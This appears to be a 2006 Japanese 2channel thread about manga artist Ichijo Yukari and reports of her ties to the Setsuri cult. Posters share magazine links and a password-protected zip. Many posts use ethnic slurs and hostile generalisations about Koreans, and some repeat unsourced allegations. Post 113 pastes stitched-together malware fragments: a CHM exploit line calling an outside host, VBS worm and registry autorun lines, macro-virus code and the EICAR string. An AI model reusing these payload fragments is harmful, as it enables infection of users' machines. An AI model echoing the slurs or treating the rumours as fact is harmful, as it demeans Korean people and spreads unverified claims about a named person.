ttp://www.uploda.net/cgi/uploader1/index.php?dlpas_id=0000140961.zip

983 名前:花と名無しさん メェル:sage 投稿日:2006/08/02(水) 19:27:21 ID:???0
>>981 パスを教えて

984 名前:花と名無しさん メェル:sage 投稿日:2006/08/02(水) 19:28:46 ID:???0
>>983 メ欄
ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー


36 :花と名無しさん:2006/08/02(水) 19:59:29 ID:???0
1 に書くの忘れたけど、
お初のみなさま、sage 進行でお願いしますね〜〜〜〜

37 :花と名無しさん:2006/08/02(水) 20:01:00 ID:???0
最後の祭り、か

38 :花と名無しさん:2006/08/02(水) 20:01:05 ID:???0
そろそろ関係者スネークが来ないかな

39 :花と名無しさん:2006/08/02(水) 20:04:33 ID:???0
>>35
展開しても空だったよ

40 :花と名無しさん:2006/08/02(水) 20:10:01 ID:???0
>>39
展開したあともパスワード入れないとダメなんだよ。

41 :花と名無しさん:2006/08/02(水) 20:12:32 ID:???0
解凍ツール変えてみたら?
win RARならうまくいった

42 :花と名無しさん:2006/08/02(水) 20:16:19 ID:???0
>>40-41
+lhacaだったけど、ツールをArcdecに変えたらパス入力窓が出ました。
ありがとう!

43 :花と名無しさん:2006/08/02(水) 20:19:17 ID:Z3ERUCcW0
RSSのキーワード共有はいいな
広告に使える
とりあえず情報規制くらう前に
日本人企業トップ50くらいに
情報規制による日本レバノン化
それに伴う国内へ投資した資産の
消失の危険性をイラクを例に
延々と綴ったメールを送るのがよろしかろう

44 :花と名無しさん:2006/08/02(水) 20:22:24 ID:???0
http://book.shinchosha.co.jp/shukanshincho/20060810/images/nakaduri_0810_big.gif



45 :花と名無しさん:2006/08/02(水) 20:24:22 ID:???0
夏祭りのシーズンだ。やけっぱちで祭りに参加しようw とりあえず、これも前スレから

============================================

582 名前:花と名無しさん メェル:sage 投稿日:2006/07/31(月) 02:17:14 ID:???0
>>580

にちゃんの夏 夏厨の夏

           ※※ ※※
         ※ ☆ ☆ .☆ ☆ ※
       ※ ☆ ※ ※※ ※.☆ ※
       ※ ☆ ※ ※ ※ ※ ※.☆ ※
      ※ ☆ ※ ※※☆※※ ※.☆ ※         * * *
     ※ ☆ ※ ※☆  .☆※ ※.☆ ※       *  *    *  *
    ※ ☆ ※ ※☆.(゚∀゚).☆※ ※☆ ※     *  *   +  *  *
     ※ ☆ ※ ※☆  .☆※ ※.☆ ※     * *  (゚∀゚) . *  *
      ※ ☆ ※ ※※☆※※ ※.☆ ※.     *  *  +  *  *
       ※ ☆ ※ ※ ※ ※ ※.☆ ※.       *  *    *  *
       ※ ☆ ※ ※※ ※.☆ ※             * * *
         ※ ☆ ☆ .☆ ☆ ※
           ※※ ※※
  
            
  
        __  _     __   _     __     __  _
   .  __ |ロロ|/  \ __ |ロロ|/  \ __ |ロロ| __..|ロロ|/  \
   _|田|_|ロロ|_| ロロ|_|田|.|ロロ|_| ロロ|_|田|.|ロロ|_|田|.|ロロ|_| ロロ|_

===============================================

46 :花と名無しさん:2006/08/02(水) 20:25:46 ID:???0
スネーク行っても今自宅にはいないしね。
逃げやがったんだから。

47 :花と名無しさん:2006/08/02(水) 20:27:50 ID:???0
>>35
マカーの人は、StuffIt Expanderでパス入力窓が出るね。
この1冊まだ持ってるけど、こういうデータは初めてなのでうれしかった。うP感謝。

48 :花と名無しさん:2006/08/02(水) 20:29:31 ID:???0
>>40
お前不親切な香具師だな。それじゃパスワカラネーだろ。

49 :花と名無しさん:2006/08/02(水) 20:32:35 ID:???0
>>48

>>35

50 :花と名無しさん:2006/08/02(水) 20:33:40 ID:???0
コーラスの公式サイト見たけど
普通にプライドの予告は載ってるねぇ…

51 :花と名無しさん:2006/08/02(水) 20:36:22 ID:???0
昔のエッセイでキムチ大嫌い韓国苦手とかいってたが、
いつのまにそうなってたんだろう。

52 :花と名無しさん:2006/08/02(水) 20:42:37 ID:???0
>>15
> ■2000年
>
> ・FOCUS 16&17 2000年4月26日号
>  「カルト教団MS教元信者が証言する教祖へのセックス奉仕」
>    摂理に関する資料(川島弁護士サイト)  ttp://religion.web.infoseek.co.jp/ms/ms_doc.htm

週刊新潮と同じ出版社だね、FOCUS。

>>28
週刊文春の方も記事が出そうな気がしてきた。


53 :花と名無しさん:2006/08/02(水) 20:42:56 ID:???0
プライドでは韓国びいきなセリフが多かったよね。

54 :花と名無しさん:2006/08/02(水) 20:45:56 ID:???0
韓国スレであれほど早くから
一条はおかしい、多分周囲がおかしいと
連呼されていたわけだが

55 :花と名無しさん:2006/08/02(水) 20:56:36 ID:???0
>>54
このスレの人達はスルーしていましたから。
一条ゆかりの漫画で、韓国を誉める発言があっても
横田さんのヘギョンちゃんを冒涜するような発言があっても
このスレの人達は完全スルーしてましたから。
わたしはちょっと振ってみたけど全くレスがつかなかった。

このスレの人達って、媚韓や一条信者ばっかりなのかと
あきれたよ。正直ね。

56 :花と名無しさん:2006/08/02(水) 20:58:42 ID:???0
広告塔関連のまとめがガーッと貼られて
「一条先生が摂理やってても関係ない。
 私はプライドの続きが読みたいの!」
と主張するようなバカな信者的住民はサーッといなくなった気がする。


57 :花と名無しさん:2006/08/02(水) 20:59:18 ID:???0
週間文春 8/3(木)発売
ttp://www.bunshun.co.jp/mag/shukanbunshun/index.htm

小誌だけが知っている韓流「SEX教団」徹底追跡90日

「摂理」教祖 強姦1万人 が物色した「美人信者」 水着 ファイル
「強姦1万人」処女もいた元信者たちが涙の告白


58 :花と名無しさん:2006/08/02(水) 21:03:39 ID:???0
天使のツラノカワは自分は面白く読めた。
ラストがドタバタと打ち切りのように終わったせいで
最終回と最終回の1つ前の回は酷かったけど
それ以外は面白かった。プライドより好きだった。

でも、天使のツラノカワも摂理関連の漫画だったんだね…。
全然気が付かなかった。
キリスト教とかクリスチャンとかいったら
普通のキリスト教を思い浮かべるので
まさか、韓国系キリスト教(統一協会、福音、摂理)が
絡んでるなんて全然想像もつかなかったもの。

http://www.google.com/search?num=50&hl=ja&ie=Shift_JIS&c2coff=1&q=%90%DB%97%9D%81@%83L%83%8A%83X%83g%81@%8A%D8%8D%91&lr=lang_ja

59 :花と名無しさん:2006/08/02(水) 21:05:37 ID:???0
>>55-56
ぱら見住人だけど、ここはいつも御大(笑)だと思ってたw
ずっとプライド叩きだった印象。
そんな熱心な住人いたとは。

60 :花と名無しさん:2006/08/02(水) 21:08:42 ID:???0
いつもの長文ウザの人は〜?

61 :花と名無しさん:2006/08/02(水) 21:09:01 ID:???0
>>59
御大の漫画のおかしいところや変なところのツッコミは
普段はちょっとしたことでもこのスレは激しいんだけど
なぜか、漫画の中で異常に韓国を賛美されてたり
日本人女は外国人から嫌われているとか
日本人女はレイプされても当然〜みたいな話題になった時は
ピタリと誰もつっこむ人がいなかったの。

62 :花と名無しさん:2006/08/02(水) 21:12:39 ID:???0
だよね。プライドでオペラをやる意味ないじゃんとか
最近展開タルいとかそういう話題は多かったけど。>>59

このスレでの韓国の話題なんて、いつあったっけ?
(プライドに出てくる韓国人歌手の話?)程度のものでしか
なかったもんな。ここ2〜3日前までは。

63 :花と名無しさん:2006/08/02(水) 21:14:58 ID:???0
韓ネタはループになることと、下3行は荒しの荒らし方だから放置は当然
これはどの板でも同じで、たまたま釣られる人がここにいなかっただけじゃ?

そして私が釣られてるのかもしれないw

64 :花と名無しさん:2006/08/02(水) 21:18:53 ID:???0
>>63
「嫌韓も媚韓もどっちもウザイ」というやつだね。
そしてそれは媚韓の思うツボなわけだ。

65 :花と名無しさん:2006/08/02(水) 21:19:01 ID:???0
そうか。韓流スレのように、あらかじめ
「少女漫画界に侵食しつつある媚韓の脅威」について
意識しているような読者以外は、

テレビが今現在進行形で行っているような
「意味もなくさりげなく日本はダメな国だと思い込ませる描写が入り」
「注目度の高い話題にさりげなく韓国の名前が必ず連呼され」
「別に韓国でなくてもいいじゃんというところでも何故か必ず韓国で」
「しかも韓国の話題は肯定的なものだけ」
「韓国賛美には日本落としが何故かセットで劣等感を植え付ける」
という「サブリミナル効果」に

やっぱりまんまと気づかないわけだ。
韓流スレでは「一条ゆかり」は定期的に検証される要注意人物だったのに、
気づかず読んでた人は「あれ? 韓国の話題なんか出てたっけ?」

そして意識化に刷り込まれていく「日本は韓国に酷いことしたよね」意識…
真面目な話、怖い。

66 :花と名無しさん:2006/08/02(水) 21:22:35 ID:???0
本当に怖いよ。
>>63みたいに「放置は当然」みたいに思ってく住民達が。
こうやって自然に洗脳されてくんだ。
危機感をもってる人が荒らしや釣りに思われてウザがられてスルーされて。

67 :花と名無しさん:2006/08/02(水) 21:24:33 ID:???0
いや、そもそも(ここのスレ話題に関していうなら)
韓国なんて視界にすら入ってないからw

韓国のウザさは十分わかってるから、わざわざ話題にして出してくる
韓国ネタウザくらいの意識はあるけど

68 :花と名無しさん:2006/08/02(水) 21:25:40 ID:???0
そんでやっぱりスレチループになるでしょ?
だからスルーが一番なんだよ。
ここではキャラや展開を語るから、そういった効果は専門のそっちでやってちょうだいってことだ。

69 :花と名無しさん:2006/08/02(水) 21:26:10 ID:???O
自分じゃ美人なつもりだけの哀しさから、宗教に走ったんかなー?
あいたたな人だったからねー。
淋しい老後だわ

70 :花と名無しさん:2006/08/02(水) 21:26:16 ID:???0
65−66は自演でしょw
ID導入してほしいよね

71 :花と名無しさん:2006/08/02(水) 21:27:14 ID:???0
リアル信者か。

72 :花と名無しさん:2006/08/02(水) 21:27:40 ID:???0
つい前日まであちこちで
「私、一条ゆかりのファンだけど
作品に韓国のかの字も出たことないよ」とか
「一条ゆかりが韓国賛美なんかしたことないよ」とか
書いてた人はなんだったのかな。

73 :花と名無しさん:2006/08/02(水) 21:28:06 ID:???0
どれが?w
いちいち嫌韓宣言してほしいの?wwしてもいいけど、スレチだから。

74 :花と名無しさん:2006/08/02(水) 21:28:42 ID:???0
スレチスレチ言ってる人は信者だな。

75 :花と名無しさん:2006/08/02(水) 21:28:54 ID:???O
韓国ネタスルーだったのは韓国の話なんかしたくないからでしょ
たいていのヤツは韓国のかの字も聞きたくないと思う

76 :花と名無しさん:2006/08/02(水) 21:29:41 ID:???0
だから、プライドの中で韓国ネタがやたら出てきたことを言ってるんだけど。
キャラや展開の話でしょ。

77 :花と名無しさん:2006/08/02(水) 21:29:52 ID:???0
こりゃだめだ、もう荒しにタゲられたwwwwwwwwwwwwwwwwwwwwwww
別板に晒されて監視されてますよーーーーーーーーーーーーーーーーー

78 :花と名無しさん:2006/08/02(水) 21:30:35 ID:???0
コミクス派にとっては勧告娘なんてやっと出てきたとこだし
レイーポもまだ起こってないもの



79 :花と名無しさん:2006/08/02(水) 21:31:08 ID:???0
タゲられたとかスレチとか変な言葉使うな朝鮮人

80 :花と名無しさん:2006/08/02(水) 21:32:02 ID:???0
当分は自演で住人vs荒しが展開されます。

信者のような発言も自演されます。

住人の姉さんたちはココを開かないのがストレス溜まりませんよw

81 :花と名無しさん:2006/08/02(水) 21:32:40 ID:???0
んー、というか、この勧告娘、連載の中ではなんか話の本筋に絡むの?
出方がものすごく唐突で違和感はあったけど

82 :花と名無しさん:2006/08/02(水) 21:33:23 ID:???0
>35はMac OS 8.6じゃ見れないみたいだorz
何があるの?



83 :花と名無しさん:2006/08/02(水) 21:33:45 ID:???0
勧告娘なんて出てきません!!!!!!!!!!
81の脳内でしょ!!!!!!!!!!!!!!!!!!!!!!

84 :花と名無しさん:2006/08/02(水) 21:33:47 ID:???0
実際悲しいよ。
好き嫌いはあるだろうけどあれだけ自分に自信があって
人生を謳歌してるように見えた大御所が
こんな結末になると…

歳をとるのが怖くなる。


85 :花と名無しさん:2006/08/02(水) 21:33:51 ID:???0
だいたい御大の漫画は、物語中引き合いに出される国傾向からいって、
欧米>日本>その他(アジア)の印象が強いからね。

作者本人もアジアは汚いから行きたくない(でもおいしいものは
食べに行きたい)くらいのわりきりっぷりだったから、
いつのまにそうなったのよくらいの疑問はある。

86 :花と名無しさん:2006/08/02(水) 21:35:12 ID:???0
>>85
私の感覚だとやっぱり2002年前後かな。>いつのまにそうなったのよ

87 :花と名無しさん:2006/08/02(水) 21:35:14 ID:???0
タゲられた
スレチ

今日初めて覚えた言葉w
どこだよ、こんな単語はやってるの。
20世紀の略語っぽくて笑える。

88 :花と名無しさん:2006/08/02(水) 21:36:11 ID:???0
スレチはわかるけどタゲられたがわからん

89 :花と名無しさん:2006/08/02(水) 21:36:12 ID:???0
>>82
9.2.2でstuffItつかったら落とせて解凍できたよ

90 :花と名無しさん:2006/08/02(水) 21:36:31 ID:???0
>>85
デザイナーや有閑倶楽部の頃はそうだったよね。
プライド連載中に
勧告>欧米>>>>>>>>>>>>>>>>>日本
になったのですごく違和感を感じた。
勧告って貧乏くさいイメージ(ごめんなさい)だから
御大の美意識のイメージには合わなくて。

91 :花と名無しさん:2006/08/02(水) 21:37:27 ID:???0
日本人じゃないヤツが無理やり日本語使ってる感じがする
タゲられ、スレチ

92 :花と名無しさん:2006/08/02(水) 21:38:36 ID:???0
全角でwをやたら入れたり、おかしな用語を使ってる人が同一人物だね。

93 :花と名無しさん:2006/08/02(水) 21:38:41 ID:???0
ターゲットにされた・・・?

聴かないな

94 :花と名無しさん:2006/08/02(水) 21:39:23 ID:???0
うはwwwwwwwwwwwww無知wwwwwwwwwwwwwwwwww

95 :花と名無しさん:2006/08/02(水) 21:39:41 ID:???0
朝鮮学校ではタゲられたって言葉を使うのかも。

96 :花と名無しさん:2006/08/02(水) 21:40:14 ID:???0
朝鮮人認定も荒しテクです。

97 :花と名無しさん:2006/08/02(水) 21:40:37 ID:???0
欧米コンプ丸出しの御大が好きだったのに・・・
プライドからなったの?
プライドは片方の女がめっちゃ嫌で、読まなくなったんだよなあ。


98 :花と名無しさん:2006/08/02(水) 21:43:08 ID:???0
工エエェェ(´д`)ェェエエ工工 まじなんだ???

99 :花と名無しさん:2006/08/02(水) 21:43:38 ID:???0
>>97
うん、同意。
要領が良くて、小器用で、苦労してて。
あの片方が高潔で塩よりもプライド持って生きてたら、塩よりも人間的にすばらしければ・・・
というのは昔の漫画になっちゃうんだろうかw


100 :花と名無しさん:2006/08/02(水) 21:44:29 ID:???O
ほら韓国の話になると荒れるじゃん
これ以上チョンの話なんか聞きたくねーよ
気持悪い

101 :花と名無しさん:2006/08/02(水) 21:45:25 ID:???0
好きだった有閑が放置状態でむしろよかったと思ってる

102 :花と名無しさん:2006/08/02(水) 21:46:49 ID:???0
>>100
あなたの一連の書き込みが一番口汚いw

103 :花と名無しさん:2006/08/02(水) 21:48:04 ID:???0
萌は最初からこのスレで嫌われてたけど
正直、このスレでは好かれてる塩も
私はあんまり好きじゃなかった…。
私はどちらのヒロインも好きになれなかったから
プライドは最初のほうで挫折して読んでなかったんだ。

でも昔の一条ゆかりの漫画は好きなのがたくさんあったから
正直、韓国SEXカルトなんかに一条ゆかりがはまってたなんて
ショック。

104 :花と名無しさん:2006/08/02(水) 21:48:46 ID:???0
>>90
コミックス派だから雑誌の方は見てないんだけど、
韓国ネタがあったのって、5巻の最後の方に出てくる声は力強いけど
力業だけでオーディションは落ちた歌手の女の子(1回だけの登場)くらいだよね?
(あと萌のキャラが韓国のDQNっぽいという話はあったけど)
連載の方ではけっこう目だって登場してるの?

105 :花と名無しさん:2006/08/02(水) 21:51:29 ID:???0
スレチですが、置いていきますつ荒しテク
・在日認定
・嫌韓だと言わせる誘導
・一見釣られた住人のフリで、本当の住人を巻き込む
・住人同士の仲間割れを装う >>102など。

106 :花と名無しさん:2006/08/02(水) 21:54:17 ID:???0
>>104
その前にも、クラブのママやその客が
「韓国旅行に行ったんですよー」「いいですよねー韓国ぅー」
と会話してるコマが唐突に出てきたりとかあったよ。

私からみたら、うわぁ、ロコツだなぁと思ったけど
多分、さりげなーく韓国ネタが織り込まれてるから
あなたが気がつかないまま読んでしまっただけだよ。

107 :花と名無しさん:2006/08/02(水) 21:55:37 ID:???0
タゲられ、スレチ、wwwwwwwww

108 :花と名無しさん:2006/08/02(水) 21:56:32 ID:???0
スレチって何?
カンチの変形?

109 :花と名無しさん:2006/08/02(水) 21:57:32 ID:???0
>>106
世の中ブームだったから、ブームにのってるバカOLの風景だと思ってた・・・

110 :花と名無しさん:2006/08/02(水) 21:59:39 ID:???0
スレチを知らないって、女性じゃないか、超新参。夏だね

111 :花と名無しさん:2006/08/02(水) 22:00:27 ID:???0
>>106
その人じゃないけど、正直近年の一条マンガそんなに真剣に読んでないから
気づかなかったわ

韓国と一条ゆかりというとやっぱりエッセイの「キムチだめなのに韓国旅行」の話とか
姪っ子が韓国料理習ってるとか、より露骨なのもののほうが目に付いたから

112 :花と名無しさん:2006/08/02(水) 22:02:06 ID:???0
マジで懐漫板に立てたのかw

《一条ゆかり》の懐かし漫画・その2
http://comic6.2ch.net/test/read.cgi/rcomic/1154523031/

113 :<body onload=window()>:2006/08/02(水) 22:02:33 ID:???0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

114 :花と名無しさん:2006/08/02(水) 22:04:24 ID:???0
スレチって麻丘めぐみだろ


115 :花と名無しさん:2006/08/02(水) 22:04:43 ID:???0
ああ・・・・やっぱり荒しか。
当分こんなだね。

116 :花と名無しさん:2006/08/02(水) 22:06:05 ID:???0
スレチってふみこみ辺りの小中学生がよく使う印象だなー。
タゲられるは同人っぽい。20世紀風味。

117 :花と名無しさん:2006/08/02(水) 22:11:38 ID:???0
嫌韓じゃないが、一条ゆかりはヨーロッパ、ゴージャス、金持ち、
イケメンなどがポイントなんだよ。
それが韓国じゃ、お城から四畳半の貧乏風呂無しアパートじゃんか。
慣れないことすっから、こんなことになるんだよ。
今さら貧乏人に興味持つな!
反省しる!

118 :花と名無しさん:2006/08/02(水) 22:19:00 ID:???0
現在のWikipedia

一条 ゆかり(いちじょう ゆかり、本名:藤本 典子(ふじもと のりこ)、1949年9月19日 - )は日本の漫画家。岡山県玉野市出身。
1968年に「雪のセレナーデ」で第1回りぼん新人漫画賞に準入選受賞と共にデビュー。デビュー後は、長年に渡って集英社りぼんで執筆していたが、近年はコーラスで執筆活動を行っている。
代表作に「有閑倶楽部」「砂の城」など。
少女漫画家の間では女王様として恐れられている。ただ後輩への面倒見はよく好感度はかなり高い。
1986年(昭和61年)度、第10回講談社漫画賞少女部門受賞(『有閑倶楽部』)。
2006年(平成18年)7月、韓国系カルト宗教団体と関係しているとの疑惑が報じられた。

〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜
最後の一行は、一昨日はなかった。
権限のあるスタッフが入れたとオモ。

119 :花と名無しさん:2006/08/02(水) 22:20:25 ID:???0
一条さんは今さら貧乏人というか
もとが貧乏人なんでしょ?

120 :花と名無しさん:2006/08/02(水) 22:21:07 ID:???0
>>118
摂理についてはもっと詳しいことが書かれてたけど
消されたの。

121 :花と名無しさん:2006/08/02(水) 22:21:44 ID:???0
カルトの部分はこの3日くらい出たり消えたりしてる。
悪意のある人と、擁護ファンの書き込み&削除のいたちごっこ

122 :花と名無しさん:2006/08/02(水) 22:24:29 ID:???0
で、8/1夜に編集不可になった。>>25参照


123 :花と名無しさん:2006/08/02(水) 22:26:13 ID:???0
ちがった。7/31だ。日刊ゲンダイが出た日の夜だから。

124 :花と名無しさん:2006/08/02(水) 22:30:26 ID:???0
>>27
平井和正さんは小説家じゃね?

125 :花と名無しさん:2006/08/02(水) 22:33:50 ID:???0
>>124
>>27 はあっちこっちのスレにこれと同じのをマルチしてる無知な人。
このスレでは、>>14で既出だし、まちがった表記はしていない。

126 :花と名無しさん:2006/08/02(水) 22:51:35 ID:???0
なぜここまで叩かれるのかショッキ
日本人に信教の自由は無いのか?

127 :花と名無しさん:2006/08/02(水) 22:52:59 ID:???0
>>126
そりゃあSEXレイプ教団の信者になってれば叩かれるでしょ?

128 :花と名無しさん:2006/08/02(水) 22:53:47 ID:???0
アンチが潰しにかかってるな。
そんなもんじゃびくともしないのにw。

129 :花と名無しさん:2006/08/02(水) 22:56:41 ID:???0
>>126
信教の自由は他人の権利を害さないとこで成立するものだから。
レイプして他人の権利を侵害するけど
自分の権利(信教)は害さないでねってのは世間では通じないのよ。

130 :花と名無しさん:2006/08/02(水) 22:57:45 ID:???0
一条ゆかり先生が誰かの権利を侵害しましたか?

131 :花と名無しさん:2006/08/02(水) 22:58:53 ID:???0
釣り、乙

132 :花と名無しさん:2006/08/02(水) 22:59:22 ID:???0
儲見苦しすぎ。
ほんとに好きなら燃料供給するなと。

133 :花と名無しさん:2006/08/02(水) 22:59:41 ID:???0
韓国人の常識ではレイプはサービスだもんねw

134 :花と名無しさん:2006/08/02(水) 23:01:04 ID:???0
見苦しい援護をしてるのは
一条ゆかりの漫画のファンじゃなくて
摂理の信者か媚韓でしょうね。
一条ゆかりの漫画の純粋なファンはショック受けてる人が多いもの。

135 :花と名無しさん:2006/08/02(水) 23:07:02 ID:???0
レイプ教団の広告塔をやってたのに擁護してるような奴は、
一条ゆかりの漫画のファンじゃなくて、たんなるレイプ教団の信者。

136 :花と名無しさん:2006/08/02(水) 23:13:39 ID:???0
自分は失望だな。
カルトって・・・50過ぎて迷うなよ。。

137 :花と名無しさん:2006/08/02(水) 23:19:02 ID:???0
>>104>>106しか覚えてないんだけど、韓国ネタ
韓国びいきの台詞が多いといえるほど他にあったっけな?

でも韓国びいきがあったとしても御大にありがちな
今流行だから乗っとくみたいな軽いノリかと思ってたよ
御大って貧乏のコンプレックスをバネにしてここまできたから
貧乏臭い国って好きじゃないと思うし

138 :花と名無しさん:2006/08/02(水) 23:27:09 ID:???0
御大の作品は好きだから、こういうことになって悲しいな。
もう読めなくなっちゃうのかな(´・ω・`)

139 :花と名無しさん:2006/08/02(水) 23:28:41 ID:???0
>>138
摂理に入れば読めるんじゃなーい?ヽ(´ー`)ノ

140 :138:2006/08/02(水) 23:32:09 ID:???0
>>139
私は神様より自分を信じる人間なので、
宗教には向いてないw

141 :花と名無しさん:2006/08/02(水) 23:41:41 ID:???0
まあとにかく、一条は被害者・読者・世間に何らかの責任を取らなきゃならんよな。
それからは逃げられない。
問題は責任の取り方だが、ダンマリ&雲隠れで今のところは零点だね。

142 :花と名無しさん:2006/08/03(木) 00:22:26 ID:???0
うわああああマジ一条ゆかりで確定なのかーーー_| ̄|○


>>32
> まさか一条ゆかりがこんな風に終わるとは思わなかった

禿げしく同意…


単行本買わなくなって久しいけどw


143 :花と名無しさん:2006/08/03(木) 00:30:40 ID:???0
http://book.shinchosha.co.jp/shukanshincho/20060810/images/nakaduri_0810_big.gif

144 :花と名無しさん:2006/08/03(木) 00:46:12 ID:???0
プライドうちきり???

145 :花と名無しさん:2006/08/03(木) 00:46:27 ID:???0
俗世の香りがプンプン匂う御大が今更新興カルト教団と関わるとは、
読者としては信じ難いけど、まぁ黒だろうな〜マスコミ報道を
見る限りでは…。
何にせよ、事実関係を8月中に明らかにしてほしいものだ。

146 :花と名無しさん:2006/08/03(木) 00:47:39 ID:???0
てか
>>144書き込んだ後に気づいたけど前スレの「新展開か終了か」ってすごい偶然w

147 :花と名無しさん:2006/08/03(木) 01:12:35 ID:???0
自宅をテレビで晒されてたけど
広告で教祖より大きく顔が、晒されちゃもう当分外は歩けないな
この広告、いろんな新聞にも掲載されるし…もう駄目だねこのひと

148 :花と名無しさん:2006/08/03(木) 01:14:50 ID:SnnlUvI30
このエロ教祖より
大きい顔写真つうのはイタイw

149 :花と名無しさん:2006/08/03(木) 01:15:42 ID:???0
こんなことで漫画家人生が終わるんだこの人は
へー

150 :花と名無しさん:2006/08/03(木) 01:17:59 ID:???O
今頃ホテル潜伏?

151 :花と名無しさん:2006/08/03(木) 01:19:15 ID:???0
他の若い人気作家にくらべたら、もう落ち目は落ち目だったが
漫画生命まで終わるとは。カルトって怖い、自業自得だが

152 :花と名無しさん:2006/08/03(木) 01:19:32 ID:???0
■印 摂理記事掲載

  8/1(火曜)発売の週刊誌
■FLASH ttp://www.kobunsha.com/CGI/magazine/hyoji.cgi?sw=index&id=007
■週刊朝日  ttp://opendoors.asahi.com/data/detail/7526.shtml
 SPA!    ttp://spa.fusosha.co.jp/
 サンデー毎日 ttp://www.mainichi.co.jp/syuppan/sunday/
 週刊女性 ttp://www.shufu.co.jp/shukanjosei/
 女性自身 ttp://www.kobunsha.com/CGI/magazine/hyoji.cgi?sw=index&id=001

  8/3(木曜)発売の週刊誌
■週刊文春(今年6月に摂理の特集) ttp://www.bunshun.co.jp/mag/shukanbunshun/index.htm
■週刊新潮   ttp://book.shinchosha.co.jp/shukanshincho/index.html
 女性セブン ttp://josei7.com/

 8/4(金曜)発売の週刊誌
 FRIDAY ttp://www.bitway.ne.jp/kodansha/friday/scoopengine/

  8/7(月曜)発売の週刊誌
 週刊ポスト(2002年に摂理の特集連載)ttp://www.weeklypost.com/060811jp/index.html
 週刊現代 ttp://kodansha.cplaza.ne.jp/wgendai/
 AERA  ttp://opendoors.asahi.com/aera/
 Yomiuri Weekly ttp://info.yomiuri.co.jp/mag/yw/

上記のうち、週刊女性、女性セブン、週刊ポスト、週刊現代は
漫画雑誌も発行してる出版社なので、摂理記事が載るとしても「漫画家」は扱わないかもしれない。
ただし週刊ポストは、かつて連載特集をやっただけに、それなりの突っ込んだ記事になるかも。


153 :花と名無しさん:2006/08/03(木) 01:22:11 ID:???0
>>55
>横田さんのヘギョンちゃんを冒涜するような発言があっても

マジですか?kwsk

154 :花と名無しさん:2006/08/03(木) 01:24:14 ID:???0
>>153
あ、俺もそれ知りたい。
摂理スレから飛んできたばっかなんでわからん。

155 :花と名無しさん:2006/08/03(木) 01:26:31 ID:???0
プライド、コーラスで読んでたけど韓国賛美とか媚韓の印象ってなかったけどなあ・・・
>>137さんと似た感想。
そんなチラっと韓国人が出たシーンだけで媚韓になっちゃうの?
もっともろ韓流とかにはまってた漫画家とかは他にいたような気がするんだけど。

>>55とかってどこに載ってたのか知りたい

156 :花と名無しさん:2006/08/03(木) 01:32:38 ID:???0
JMS、MS、摂理 パート10
http://life7.2ch.net/test/read.cgi/psy/1153493238/ で、
元メンバーだった人たちが、脱会できない人を救うために、またあらたな被害者をふやさないために、動き出した。
このスレで、礼拝やイベント等に使われた施設のリストアップを始めている。
その施設に電話などで連絡して、摂理関係者に会場として貸さないように伝えるためだという。
なんだか、頭が下がる思いがした。

157 :花と名無しさん:2006/08/03(木) 01:36:27 ID:???0
379 名前:花と名無しさん[sage] 投稿日:2006/07/17(月) 13:29:27 ID:???0
一条ゆかりの話は今更かもしれないが。
なんとなく書棚にあった「一条ゆかりの食生活」を読んだら

買った当時は読み飛ばしてたなあ。
こんな記述があったよ↓()は私の注釈

韓国大好き男岩ちゃん「ぼくもまた行くんですよ(韓国に)
山田さんも一緒ですし
あっちには舎弟もいますから現地で会いましょう」

てな訳で「気軽にソウル3日間」だ

集英社関係のえらいさんで通称一条の「ふぐパパ」の山田さん
年に二回はフグをおごってくれるんだ♪
山田さん「いいねえ韓国はギャンブルが出来るし。
(韓国内で)夕食僕がおごりますよ」

↑引用ここまで


そうか…集英社のえらいさんの男ども、この時点ですっかり骨抜きだったんだ…
そりゃあね…作家なんか洗脳するの簡単ね…


383 名前:花と名無しさん[sage] 投稿日:2006/07/17(月) 17:29:25 ID:???0
>381
2002年2月19日発売になっていたよ。
ヤング・ユーに連載していた奴のまとめかな?


158 :花と名無しさん:2006/08/03(木) 01:37:36 ID:???0
>>153-154
>>155さんの言う通りです。
>1に前スレ、>>2-5にすべての過去スレがありますから、
読んでみて下されば、分かると思います。 過去スレ検索用 ttp://makimo.to/を利用するなどして下さい。
もっとも数が多いですから、
1スレッドをすべて表示して心当たりのキーワードでブラウザ検索してみれば早いと思います。


159 :花と名無しさん:2006/08/03(木) 01:44:15 ID:???0
編集部に信者がいた可能性もあるわけか
韓国好きの編集になら、教義の話なんかもするかもね

編集から洗脳されたってこともあるのかな
どっちからかはわからんが

160 :花と名無しさん:2006/08/03(木) 01:47:30 ID:???0
>>157
下記のように、きちんと出処を示してね。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
少女漫画板 【韓流・姦流】冬のソナタ他総合12【少女漫画】
http://comic6.2ch.net/test/read.cgi/gcomic/1150989629/ より引用

> 379 :花と名無しさん :2006/07/17(月) 13:29:27 ID:???0
> 一条ゆかりの話は今更かもしれないが。
> なんとなく書棚にあった「一条ゆかりの食生活」を読んだら
>
> 買った当時は読み飛ばしてたなあ。
> こんな記述があったよ↓()は私の注釈
>
> 韓国大好き男岩ちゃん「ぼくもまた行くんですよ(韓国に)
> 山田さんも一緒ですし
> あっちには舎弟もいますから現地で会いましょう」
>
